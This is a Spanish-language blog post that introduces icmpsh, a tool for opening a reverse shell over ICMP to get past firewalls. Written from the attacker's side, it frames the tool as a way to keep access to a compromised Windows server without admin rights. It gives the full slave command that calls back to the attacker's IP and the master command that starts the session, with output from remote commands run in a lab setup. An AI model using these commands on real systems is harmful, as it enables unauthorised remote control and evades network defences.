

## icmpsh o cómo abrir un shell inverso mediante ICMP

Publicado por Vicente Motos on lunes, 22 de octubre de 2012 Etiquetas: [herramientas](#), [técnicas](#)



A veces los administradores de red nos ponen las cosas difíciles. Algunos de ellos, sorprendentemente, utilizan firewalls para lo que se supone que valen y obtener una shell inversa a través de TCP resulta difícil. No obstante, no es la primera empresa en la que me encuentro que **habilitan ICMP alegremente desde cualquier origen a cualquier destino**. Total, ¿qué podemos hacer con un simple ping?

Pues, a parte de obtener información acerca de la topología de la red de los incautos administradores o estresar las tarjetas de red de alguna maquinita, podemos **establecer sesiones bajo nuestro amado protocolo**. Y no hace falta hablar en ruso o visualizar el código de Matrix, existen aplicaciones aptas para cualquier lammer que facilitan este trabajo como [loki](#), [soicmp](#) o [icmpshell](#) y la herramienta de la que hablaremos en esta entrada: **icmpsh**.

¿Y por qué icmpsh y no otras? Pues porque es de código abierto y sobretodo **no requiere privilegios de administración** en la máquina objetivo. Es decir, la ejecutamos con nuestro usuario 'pelao' en un servidor comprometido (definido como slave) y ya tenemos una puerta abierta a través de cualquier firewall que se ponga por el medio. Eso sí, de momento el slave tiene que ser Windows, aunque **el master (o sea, nosotros los malos) puede ser cualquier plataforma que ejecute código C, Perl o Python**. Además, la herramienta de Nico Leidecker fue portada a Python por Bernardo Damele para poder integrarla en su famoso sqlmap (¿os suena, verdad?).

Para terminar, veamos un ejemplo ilustrado de su sencillo funcionamiento. Ejecutamos icmpsh slave en la máquina objetivo (192.168.136.129) especificando la IP 192.168.136.1 del master:

```
Command Prompt - icmpsh.exe -t 192.168.136.1 -d 500 -b 30 -s 128

Z:\software\icmpsh>whoami
w2k3r2\inquis

Z:\software\icmpsh>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . : 192.168.136.129
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.136.2

Z:\software\icmpsh>icmpsh.exe -h
icmpsh.exe loptions! -t target
options:
  -t host      host ip address to send ping requests to
  -r           send a single test icmp request and then quit
  -d milliseconds delay between requests in milliseconds (default is 200)
  -o milliseconds timeout in milliseconds
  -h           this screen
  -b num       maximal number of blanks (unanswered icmp requests)
               before quitting
  -s bytes     maximal data buffer size in bytes (default is 64 bytes)

In order to improve the speed, lower the delay (-d) between requests or
increase the size (-s) of the data buffer

Z:\software\icmpsh>icmpsh.exe -t 192.168.136.1 -d 500 -b 30 -s 128
=
```

Y lanzamos icmpsh master en el equipo del atacante (192.168.136.1) y ejecutamos un par de comandos en la máquina comprometida (192.168.136.129):

```
inquis@tatooine: ~/icmpsh
File Edit View Search Terminal Help
inquis@tatooine:~/icmpsh$ sudo python icmpsh_m.py 192.168.136.1 192.168.136.129
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

Z:\software\icmpsh>whoami
whoami
w2k3r2\inquis

Z:\software\icmpsh>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . : 192.168.136.129
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 192.168.136.2

Z:\software\icmpsh>exit
inquis@tatooine:~/icmpsh$
```

## Fuentes:

<http://bernardodamele.blogspot.com.es/2011/04/reverse-connection-icmp-shell.html>

<https://github.com/inquisb/icmpsh>

<http://leidecker.info/downloads/index.shtml>